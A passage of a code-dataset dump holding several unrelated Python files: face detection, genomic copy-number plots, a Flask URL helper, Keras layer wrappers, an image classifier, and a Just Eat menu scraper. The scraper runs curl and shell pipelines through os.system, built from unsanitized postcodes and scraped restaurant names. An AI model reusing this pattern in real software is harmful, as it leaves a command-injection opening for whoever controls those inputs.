"conans.client.graph.graph.CONTEXT_HOST", "line_number": 79, "usage_type": "name"}, {"api_name": "parameterized.parameterized.expand", "line_number": 41, "usage_type": "call"}, {"api_name": "parameterized.parameterized", "line_number": 41, "usage_type": "name"}]} +{"seq_id": "350070521", "text": "import matplotlib.pyplot as plt\nimport sys\nimport dlib\nfrom skimage import io\n\nface_detector = dlib.get_frontal_face_detector()\n\nfile_name=sys.argv[1]\ndst=sys.argv[2]\nimage = io.imread(file_name)\n\ndetected_faces = face_detector(image, 0)\nprint(\"I found {} faces in the file {}\".format(len(detected_faces), file_name))\n\nfor i, face_rect in enumerate(detected_faces):\n img = plt.imread(file_name)\n fig, ax = plt.subplots()\n ax.imshow(img, cmap='gray')\n l=face_rect.left()\n r=face_rect.right()\n t=face_rect.top()\n b=face_rect.bottom()\n plt.vlines(l, b, t, colors=\"b\", linewidth=2)\n plt.hlines(t, l, r, colors=\"b\", linewidth=2)\n plt.hlines(b, l, r, colors=\"b\", linewidth=2)\n plt.vlines(r, b, t, colors=\"b\", linewidth=2)\n print(\"- Face #{} found at Left: {} Top: {} Right: {} Bottom: {}\".format(i, l, t, r, b))\n\n plt.axis('off')\n fig.savefig('{}img_{}_rect_all_{}.jpg'.format(dst, file_name.split('.')[0],i),\n dpi=400, bbox_inches='tight')\n plt.close(fig)", "sub_path": "third.py", "file_name": "third.py", "file_ext": "py", "file_size_in_byte": 1010, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "dlib.get_frontal_face_detector", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "skimage.io.imread", "line_number": 10, "usage_type": "call"}, {"api_name": "skimage.io", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imread", "line_number": 16, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 16, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 17, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 17, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.vlines", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hlines", "line_number": 24, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 24, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hlines", "line_number": 25, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 25, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.vlines", "line_number": 26, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 26, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 32, "usage_type": "name"}]} +{"seq_id": "172750512", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar 4 13:30:06 2021\n\n@author: amurtha\n\"\"\"\n\n# =============================================================================\n# Create by patient boxplot \n# =============================================================================\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport string\nimport numpy as np\nimport matplotlib.gridspec as gridspec\nimport math\nimport os\nimport scipy.stats as stats\n\n# =============================================================================\n# Constants\n# =============================================================================\n\nsample_cat = {'RP':'Primary',\n 'PB':'Primary',\n 'MLN': 'Met',\n 'cfDNA': 'cfDNA'}\n\n# =============================================================================\n# Import samples, cn data\n# =============================================================================\n\ntc = pd.read_csv('https://docs.google.com/spreadsheets/d/13A4y3NwKhDevY9UF_hA00RWZ_5RMFBVct2RftkSo8lY/export?format=csv&gid=963468022')\ncn = pd.read_csv('C:/Users/amurtha/Dropbox/Ghent M1 2019/sandbox/copy number/final melted cna files/M1RP_allSamples_cna_curated.tsv', sep = '\\t')\n\ntc.columns = tc.iloc[0]\ntc = tc.drop(tc.index[0])\ntc['Final tNGS_TC'] = tc['Final tNGS_TC'].astype(float)\ntc = tc[tc['Final tNGS_TC'] > 0.40]\n\ntc['Sample Category'] = tc['Sample ID'].str.split('_').str[2].str.strip(string.digits).apply(lambda x: sample_cat.get(x))\ntc = tc[tc['Sample Category'] != 'cfDNA']\n\ncn = cn.set_index(['Sample ID','GENE'])\n\n# =============================================================================\n# Bring in copy number data\n# =============================================================================\n\n\n\nfor y in np.arange(0,43,1):\n pt = 'ID'+str(y+1)\n pt_samples = tc[tc['Patient ID'] == pt]\n pt_samples = pt_samples.set_index('Sample ID')\n pt_samples = pt_samples.sort_values(['Sample Category','Final tNGS_TC'], ascending=False) \n max_samples = pt_samples['Sample Category'].value_counts().max()\n \n if len(pt_samples['Sample Category'].value_counts()) <= 1:\n continue;\n \n fig = plt.figure()\n gs = gridspec.GridSpec(1,2*3,width_ratios=[pt_samples['Sample Category'].value_counts()['Primary'],pt_samples['Sample Category'].value_counts()['Met']]*3)\n \n for x_0, gene in enumerate(['TP53','RB1','PTEN']):\n boxplots_pri = []\n boxplots_met = []\n for sample in pt_samples.index.tolist():\n if not os.path.exists('C:/Users/amurtha/Dropbox/Ghent M1 2019/M1RP Copy Number Analysis/Probe-level logratios (targeted panel)/%s_logratio.igv' % sample):\n continue;\n sample_cn = pd.read_csv('C:/Users/amurtha/Dropbox/Ghent M1 2019/M1RP Copy Number Analysis/Probe-level logratios (targeted panel)/%s_logratio.igv' % sample, sep = '\\t')\n cn_row = cn.loc[(sample,gene)]\n sample_cn = sample_cn[sample_cn['CHROM'] == cn_row['CHROMOSOME']]\n sample_cn = sample_cn[(sample_cn['START'] >= cn_row['START']-1000) & (sample_cn['END'] <= cn_row['END']+1000)]\n sample_tc = pt_samples.at[sample,'Final tNGS_TC']\n sample_cn['CN_corrected'] = (2**(sample_cn[sample]+1) + 2*sample_tc - 2)/sample_tc\n if pt_samples.at[sample,'Sample Category'] == 'Primary':\n boxplots_pri.append(sample_cn['CN_corrected'])\n else:\n boxplots_met.append(sample_cn['CN_corrected'])\n \n ax_pri = fig.add_subplot(gs[0,x_0*2])\n ax_met = fig.add_subplot(gs[0,x_0*2+1], sharey = ax_pri)\n \n ax_pri.set_ylim(0,4)\n \n ax_pri.boxplot(boxplots_pri, showfliers=False)\n ax_pri.set_xlabel(gene+'\\nprimary.', fontsize = 8)\n \n ax_pri.tick_params(bottom = False, labelbottom = False, labelsize = 8)\n ax_met.tick_params(bottom = False, labelbottom = False, labelsize = 8)\n \n ax_met.boxplot(boxplots_met, showfliers=False)\n ax_met.set_xlabel(gene+'\\nmet.', fontsize = 8)\n \n if len(boxplots_pri) > 1:\n p_pri = stats.f_oneway(*boxplots_pri)[1]\n ax_pri.text(1, 3.9, 'p=%.4f' % p_pri, fontsize = 8)\n if len(boxplots_met) > 1:\n p_met = stats.f_oneway(*boxplots_met)[1]\n ax_met.text(1, 3.9, 'p=%.4f' % p_met, fontsize = 8)\n \n if x_0 == 0:\n ax_pri.set_ylabel(\"TC-corrected copy-number\", fontsize = 8)\n fig.suptitle(pt)\n \n \n fig.tight_layout()\n fig.savefig('C:/Users/amurtha/Dropbox/Ghent M1 2019/Figures/Work from 2021/Probe level CNA analysis/%s_boxplots.pdf' % pt)", "sub_path": "prod/summary/pt_CNA_by_gene_probe_boxplot.py", "file_name": "pt_CNA_by_gene_probe_boxplot.py", "file_ext": "py", "file_size_in_byte": 4662, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "string.digits", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.gridspec.GridSpec", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.gridspec", "line_number": 64, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 70, "usage_type": "call"}, {"api_name": "os.path", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.stats.f_oneway", "line_number": 98, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 98, "usage_type": "name"}, {"api_name": "scipy.stats.f_oneway", "line_number": 101, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 101, "usage_type": "name"}]} +{"seq_id": "337064118", "text": "# coding=utf-8\nfrom flask import request, url_for\n\n\ndef get_current_url(external=None, **kwargs):\n rule = request.url_rule\n if not rule:\n return '?' + '&'.join(\n ['='.join([str(k), str(v)]) for k, v in kwargs.items()]\n )\n rkwargs = request.view_args\n\n for key in request.values:\n values = request.values.getlist(key)\n if key in rkwargs and not isinstance(rkwargs[key], list):\n values.append(rkwargs[key])\n rkwargs[key] = values\n else:\n if len(values) == 1:\n rkwargs[key] = values[0]\n else:\n rkwargs[key] = values\n\n rkwargs.update(kwargs)\n for key, value in rkwargs.items():\n if not value:\n del rkwargs[key]\n\n rkwargs['_external'] = external\n return url_for(rule.endpoint, **rkwargs)\n", "sub_path": "webapp/helpers/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 845, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "flask.request.url_rule", "line_number": 6, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 6, "usage_type": "name"}, {"api_name": "flask.request.view_args", "line_number": 11, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.request.values", "line_number": 13, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 13, "usage_type": "name"}, {"api_name": "flask.request.values.getlist", "line_number": 14, "usage_type": "call"}, {"api_name": "flask.request.values", "line_number": 14, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 14, "usage_type": "name"}, {"api_name": "flask.url_for", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "137767008", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom collections import OrderedDict\n\ntry:\n from tensorflow.python.keras._impl.keras.layers import convolutional_recurrent\nexcept ImportError:\n from tensorflow.contrib.keras.python.keras.layers import convolutional_recurrent\n\nfrom polyaxon_schemas.layers.convolutional_recurrent import ConvRecurrent2DConfig, ConvLSTM2DConfig\n\nfrom polyaxon_lib.libs.base_object import BaseObject\nfrom polyaxon_lib.libs import getters\n\n\nclass ConvRecurrent2D(BaseObject, convolutional_recurrent.ConvRecurrent2D):\n CONFIG = ConvRecurrent2DConfig\n __doc__ = ConvRecurrent2DConfig.__doc__\n\n\nclass ConvLSTM2D(BaseObject, convolutional_recurrent.ConvLSTM2D):\n CONFIG = ConvLSTM2DConfig\n __doc__ = ConvLSTM2DConfig.__doc__\n\n def __init__(self,\n filters,\n kernel_size,\n strides=(1, 1),\n padding='valid',\n data_format=None,\n dilation_rate=(1, 1),\n activation='tanh',\n recurrent_activation='hard_sigmoid',\n use_bias=True,\n kernel_initializer='glorot_uniform',\n recurrent_initializer='orthogonal',\n bias_initializer='zeros',\n unit_forget_bias=True,\n kernel_regularizer=None,\n recurrent_regularizer=None,\n bias_regularizer=None,\n activity_regularizer=None,\n kernel_constraint=None,\n recurrent_constraint=None,\n bias_constraint=None,\n return_sequences=False,\n go_backwards=False,\n stateful=False,\n dropout=0.,\n recurrent_dropout=0.,\n **kwargs):\n super(ConvLSTM2D, self).__init__(\n filters,\n kernel_size,\n strides=strides,\n padding=padding,\n data_format=data_format,\n dilation_rate=dilation_rate,\n activation=getters.get_activation(activation),\n recurrent_activation=getters.get_activation(recurrent_activation),\n use_bias=use_bias,\n kernel_initializer=getters.get_initializer(kernel_initializer),\n recurrent_initializer=getters.get_initializer(recurrent_initializer),\n bias_initializer=getters.get_initializer(bias_initializer),\n unit_forget_bias=unit_forget_bias,\n kernel_regularizer=getters.get_regularizer(kernel_regularizer),\n recurrent_regularizer=getters.get_regularizer(recurrent_regularizer),\n bias_regularizer=getters.get_regularizer(bias_regularizer),\n activity_regularizer=getters.get_regularizer(activity_regularizer),\n kernel_constraint=getters.get_regularizer(kernel_constraint),\n recurrent_constraint=getters.get_regularizer(recurrent_constraint),\n bias_constraint=getters.get_constraint(bias_constraint),\n return_sequences=return_sequences,\n go_backwards=go_backwards,\n stateful=stateful,\n dropout=dropout,\n recurrent_dropout=recurrent_dropout,\n **kwargs)\n\n\nCONVOLUTIONAL_RECURRENT_LAYERS = OrderedDict([\n (ConvRecurrent2D.CONFIG.IDENTIFIER, ConvRecurrent2D),\n (ConvLSTM2D.CONFIG.IDENTIFIER, ConvLSTM2D),\n])\n", "sub_path": "polyaxon_lib/layers/convolutional_recurrent.py", "file_name": "convolutional_recurrent.py", "file_ext": "py", "file_size_in_byte": 3420, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "polyaxon_lib.libs.base_object.BaseObject", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.contrib.keras.python.keras.layers.convolutional_recurrent.ConvRecurrent2D", "line_number": 17, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.keras.python.keras.layers.convolutional_recurrent", "line_number": 17, "usage_type": "name"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvRecurrent2DConfig", "line_number": 18, "usage_type": "name"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvRecurrent2DConfig.__doc__", "line_number": 19, "usage_type": "attribute"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvRecurrent2DConfig", "line_number": 19, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.base_object.BaseObject", "line_number": 22, "usage_type": "name"}, {"api_name": "tensorflow.contrib.keras.python.keras.layers.convolutional_recurrent.ConvLSTM2D", "line_number": 22, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.keras.python.keras.layers.convolutional_recurrent", "line_number": 22, "usage_type": "name"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvLSTM2DConfig", "line_number": 23, "usage_type": "name"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvLSTM2DConfig.__doc__", "line_number": 24, "usage_type": "attribute"}, {"api_name": "polyaxon_schemas.layers.convolutional_recurrent.ConvLSTM2DConfig", "line_number": 24, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_activation", "line_number": 60, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 60, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_activation", "line_number": 61, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 61, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_initializer", "line_number": 63, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 63, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_initializer", "line_number": 64, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 64, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_initializer", "line_number": 65, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 65, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 67, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 67, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 68, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 68, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 69, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 69, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 70, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 70, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 71, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 71, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_regularizer", "line_number": 72, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 72, "usage_type": "name"}, {"api_name": "polyaxon_lib.libs.getters.get_constraint", "line_number": 73, "usage_type": "call"}, {"api_name": "polyaxon_lib.libs.getters", "line_number": 73, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "619959533", "text": "from tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.models import load_model\nimport numpy as np\nimport pickle\nimport cv2\n\n_image = './test_1.jpg'\n_model = './model.h5'\n_labelbin = 'mlb.pickle'\n\nimage = cv2.imread(_image)\n\nimage = cv2.resize(image, (96, 96))\nimage = image.astype(\"float\") / 255.0\nimage = img_to_array(image)\nimage = np.expand_dims(image, axis=0)\n\nprint(\"[INFO] loading network...\")\nmodel = load_model(_model)\nmlb = pickle.loads(open(_labelbin, \"rb\").read())\n\nprint(\"[INFO] classifying image...\")\nproba = model.predict(image)[0]\nidxs = np.argsort(proba)[::-1][:2]\n\nresult = [None, -1]\n\nfor (label, p) in zip(mlb.classes_, proba):\n _p = float(\"{:.2f}\".format(p * 100))\n if _p > result[1]:\n result = [int(label) - 3, _p]\n\nprint(result)\n", "sub_path": "classify.py", "file_name": "classify.py", "file_ext": "py", "file_size_in_byte": 794, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "cv2.imread", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 13, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image.img_to_array", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 16, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.load_model", "line_number": 19, "usage_type": "call"}, {"api_name": "pickle.loads", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "241089175", "text": "import requests, json, os, time\nimport argparse\nfrom elasticsearch import Elasticsearch\nfrom shapely.geometry import Point\nfrom shapely.geometry.polygon import Polygon\n\nbasedirectory = '/opt/justeat'\ndatadirectory = ''\nmenudirectory = ''\nmenutmpdirectory = ''\npostdirectory = ''\nesindexname = 'justeatmenudata'\npboolrest = False\npboolmenu = False\npboolwrite = False\n\npWait = 10\n\ndef check_project_dirs () :\n global basedirectory, datadirectory, menudirectory, menutmpdirectory, postdirectory\n basedirectory = os.getcwd()\n datadirectory = basedirectory + \"/data\"\n menudirectory = basedirectory + \"/menu\"\n menutmpdirectory = basedirectory + \"/tmp\"\n postdirectory = basedirectory + \"/postcode\"\n if not(os.path.isdir(datadirectory)) : os.mkdir(datadirectory)\n if not(os.path.isdir(menudirectory)) : os.mkdir(menudirectory)\n if not(os.path.isdir(menutmpdirectory)) : os.mkdir(menutmpdirectory)\n if not(os.path.isdir(postdirectory)) : os.mkdir(postdirectory)\n \ndef get_restaurant():\n print ('Get Rest Info')\n #postcode-all-uk.list file downloaded from https://www.doogal.co.uk/UKPostcodes.php\n with open(basedirectory + \"/postcode-all-uk.list\") as f:\n docket_content = f.readlines()\n for pline in docket_content :\n regfname = \"test-uk-postcode-\" + pline.strip() + \".json\"\n if not os.path.isfile(datadirectory +'/'+regfname) :\n print (\"File Name : \" + regfname )\n regstr = \"curl 'https://www.just-eat.co.uk/area/\" + pline.strip() +\"' \"\n regstr = regstr + \"-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' \"\n regstr = regstr + \"-H 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \" \n regstr = regstr + \"-H 'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' \"\n regstr = regstr + \"-H 'Cookie: je-location-uk=\" + pline.strip() + \"; je-last_searched_string=\" + pline.strip() + \";' \"\n regstr = regstr + \"-H 'Upgrade-Insecure-Requests: 1' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'TE: Trailers' \"\n regstr = regstr + \"-o \"+menutmpdirectory+\"/\" + regfname\n os.system(regstr)\n #print (regstr)\n regstr = \"cat \"+menutmpdirectory+\"/\" + regfname + \"| grep 'data-ga-values' | sed 's/"/\\\"/g' | sed s'/data-ga-values=\\\"/data-ga-values=\\\\n/g' | sed s'/\\\">/ /' | tail -n +2 > \" + datadirectory + \"/\" + regfname \n os.system(regstr)\n os.remove(menutmpdirectory+\"/\" + regfname)\n #print (regstr)\n time.sleep(pWait)\n else :\n print ('Restaurant File Exist :' + basedirectory +'/'+regfname )\n\ndef get_menu(resDT):\n resnid = str(resDT['id'])\n resname = str(resDT['name'])\n regfname = \"test-menu-\"+ resnid +\".json\"\n if not os.path.isfile(menudirectory +'/'+regfname) :\n regstr = \"curl 'https://www.just-eat.co.uk/restaurants-\" + resname + \"/menu/\" \n regstr = regstr + resnid + \"/products' \" \n regstr = regstr + \"-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' -H 'Accept: */*' \" \n regstr = regstr + \"-H 'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' --compressed -H 'DNT: 1' -H 'Connection: keep-alive' \"\n regstr = regstr + \"-H 'Referer: https://www.just-eat.co.uk/restaurants-\" + resname + \"/menu' \" \n regstr = regstr + \"-H 'Cookie: je-publicweb-id=.;' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'TE: Trailers' \"\n regstr = regstr + \"-o \"+menutmpdirectory+\"/\"+ regfname\n print ('Menu File :' + regfname)\n os.system(regstr)\n cmdresult = os.system(\"sh \" + basedirectory + \"/parse-result.sh \" + menutmpdirectory + \" \" + menudirectory)\n os.remove(menutmpdirectory+\"/\" + regfname)\n time.sleep(pWait)\n else :\n print ('Menu File Exist :' + menudirectory +'/'+regfname )\n \n\n#not used\ndef exec_curl_postcode(resDT):\n resnid = str(resDT['id'])\n respcode = str(resDT['postcode'])\n rescode1 = str(resDT['geo']['longitude'])\n rescode2 = str(resDT['geo']['latitude'])\n print (rescode1 + \" -- \" + rescode2 + \" -- \" + resnid)\n print (\"curl 'https://api.postcodes.io/postcodes/postcodes?lon=\"+rescode1+\"&lat=\"+rescode2+\" '\")\n if not(os.path.exists(postdirectory+\"/postcode-\"+resnid+\".json\")):\n print (\"Postcode File : \" + postdirectory + \"/postcode-\"+resnid+\".json\")\n regstr = \"curl 'https://api.postcodes.io/postcodes?lon=\" + rescode1 + \"&lat=\"+ rescode2 +\"' \" \n regstr = regstr + \"-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0' \"\n regstr = regstr + \"-H 'Accept: */*' -H 'Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3' \"\n regstr = regstr + \"--compressed -H 'X-Requested-With: XMLHttpRequest' -H 'DNT: 1' -H 'Connection: keep-alive' -H 'Referer: https://postcodes.io/' \"\n regstr = regstr + \"-H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'TE: Trailers' \"\n regstr = regstr + \"-o \" + postdirectory + \"/postcode-\"+resnid+\".json\"\n cmdresult = os.system(regstr)\n\n#not used\ndef get_postcode(resfname):\n with open(postdirectory +\"/\"+ resfname) as f:\n try:\n docket_content = f.read()\n datann=json.loads(docket_content)\n postgss2=datann['result'][0]['codes']['admin_district']\n postgss1=datann['result'][0]['codes']['admin_county']\n postnut=datann['result'][0]['codes']['nuts']\n postcod=datann['result'][0]['postcode']\n postreg=datann['result'][0]['region']\n postcnt=datann['result'][0]['admin_county']\n postdist=datann['result'][0]['admin_district']\n return postgss1, postgss2, postnut, postcod, postreg, postcnt, postdist\n except Exception as perror:\n print (\"====================================================\")\n print (perror)\n print (\"====================================================\")\n return \"\", \"\", \"\", \"\", \"\", \"\", \"\"\n\n\ndef write_menu(resmDT, ess):\n resid = str(resmDT['id'])\n resname = str(resmDT['name'])\n resfname = \"test-menu-\"+ resid +\".json\"\n\n preggss = ''\n pregreg = ''\n pregname = ''\n preggss, pregreg ,pregname = parse_geo_result(resmDT['geo']['latitude'], resmDT['geo']['longitude'])\n reggeoip = dict({\"geoip\": { \"city_name\": str(pregname), \"region\": str(pregreg), \"location\": \"0.0, 0.0\" }} )\n\n with open(menudirectory +\"/\"+ resfname) as f:\n try:\n docket_content = f.read()\n datann=json.loads(docket_content)\n for dtt in datann['products']:\n resmDT['productId'] = dtt['step']['id']\n resmDT['productName'] = dtt['name']\n resmDT['productPrice'] = dtt['price']\n resmDT['productisOffline'] = dtt['isOffline']\n #resmDT['productdescription'] = dtt['description']\n resmDT.update(reggeoip)\n resmDT['geoip']['location'] = str(resmDT['geo']['latitude']) + \",\" + str(resmDT['geo']['longitude'])\n resmDT['location'] = str(resmDT['geo']['latitude']) + \",\" + str(resmDT['geo']['longitude'])\n resmDT['gssCode'] = preggss\n\n if 'position' in resmDT:\n del resmDT['position']\n del resmDT['list']\n del resmDT['distance']\n del resmDT['new']\n del resmDT['labels']\n del resmDT['rankingFeatures']\n del resmDT['topPlacement']\n del resmDT['topPlacementPremier']\n del resmDT['temporaryBoost']\n del resmDT['collectionMenuId']\n del resmDT['meta']\n\n ess.index(index=esindexname, ignore=400, doc_type='docket', id=resmDT['productId'], body=resmDT)\n except Exception as perror:\n print (\"====================================================\")\n print (perror)\n print (resfname)\n print (\"====================================================\")\n resmDT['productId'] = resid\n resmDT['productName'] = ''\n resmDT['productPrice'] = 0\n resmDT['productisOffline'] = 'true'\n resmDT['productdescription'] = ''\n resmDT.update(reggeoip)\n resmDT['geoip']['location'] = str(resmDT['geo']['latitude']) + \",\" + str(resmDT['geo']['longitude'])\n resmDT['location'] = str(resmDT['geo']['latitude']) + \",\" + str(resmDT['geo']['longitude'])\n resmDT['gssCode'] = preggss\n\n if 'position' in resmDT:\n del resmDT['position']\n del resmDT['list']\n del resmDT['distance']\n del resmDT['new']\n del resmDT['labels']\n del resmDT['rankingFeatures']\n del resmDT['topPlacement']\n del resmDT['topPlacementPremier']\n del resmDT['temporaryBoost']\n del resmDT['collectionMenuId']\n del resmDT['meta']\n ess.index(index=esindexname, ignore=400, doc_type='docket', id=resmDT['productId'], body=resmDT)\n\n\ndef parse_geo_result(plat, plong):\n ppoint = Point(float(plong), float(plat))\n #geo-result.json file downloaded from https://maps.elastic.co\n with open(basedirectory + \"/geo-result.json\") as f:\n docket_content = f.read()\n datann=json.loads(docket_content)\n pResult = 0\n mygss = ''\n myiso = ''\n myregname = ''\n pcount = 0\n #i = (len(datann['features']))\n for dtt in datann['features']:\n mycoords = dtt['geometry']\n if dtt['geometry']['type'] == 'Polygon' :\n polygon = Polygon(dtt['geometry']['coordinates'][0])\n if polygon.contains(ppoint) :\n pcount = pcount + 1\n mygss = dtt['properties']['gss']\n myiso = dtt['properties']['iso_3166_2']\n myregname = dtt['properties']['label_en']\n if pcount == 2 :\n return mygss, myiso, myregname\n #return dtt['properties']['gss'], dtt['properties']['iso_3166_2'], dtt['properties']['label_en']\n else :\n for drr in dtt['geometry']['coordinates'][0] :\n polygon = Polygon(drr)\n if polygon.contains(ppoint) : \n pcount = pcount + 1\n mygss = dtt['properties']['gss']\n myiso = dtt['properties']['iso_3166_2']\n myregname = dtt['properties']['label_en']\n if pcount == 2 :\n return mygss, myiso, myregname\n #return dtt['properties']['gss'], dtt['properties']['iso_3166_2'], dtt['properties']['label_en']\n return mygss, myiso, myregname\n\n\n\ndef main():\n i=0\n j=0\n check_project_dirs()\n\n if pboolrest :\n get_restaurant()\n\n if pboolmenu == True :\n for filename in os.listdir(datadirectory):\n if filename.endswith(\".json\"):\n f = open(datadirectory +\"/\"+ filename)\n print (filename)\n docket_content = f.read()\n datann=json.loads(docket_content)\n postcd=datann['serpData']['location']\n for dtt in datann['serpData']['results']:\n dtt['postcode']=postcd\n myyid=dtt['id'] \n i = i + 1\n for ttt in range(len(dtt['cuisines'])):\n if str(dtt['cuisines'][ttt])=='Kebab':\n j=j+1\n get_menu(dtt)\n print ('Toplam Kayit :' + str(i))\n print ('Listelenen Kayit :' + str(j))\n\n i=0\n j=0\n if pboolwrite == True :\n res = requests.get('http://localhost:9200')\n print (res.content)\n es = Elasticsearch([{'host': 'localhost', 'port': '9200'}])\n for filename in os.listdir(datadirectory):\n if filename.endswith(\".json\"):\n f = open(datadirectory +\"/\"+ filename)\n print (filename)\n docket_content = f.read()\n datann=json.loads(docket_content)\n postcd=datann['serpData']['location']\n for dtt in datann['serpData']['results']:\n dtt['postcode']=postcd\n myyid=dtt['id'] \n i = i + 1\n for ttt in range(len(dtt['cuisines'])):\n if str(dtt['cuisines'][ttt])=='Kebab':\n j=j+1\n write_menu(dtt, es)\n print ('Toplam Kayit :' + str(i))\n print ('Listelenen Kayit :' + str(j))\n\n\n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-r', '--getrestaurant', action=\"store_true\", default=False, required=False, dest='boolrestaurant', help='Get Restaurants. (default disable)')\n 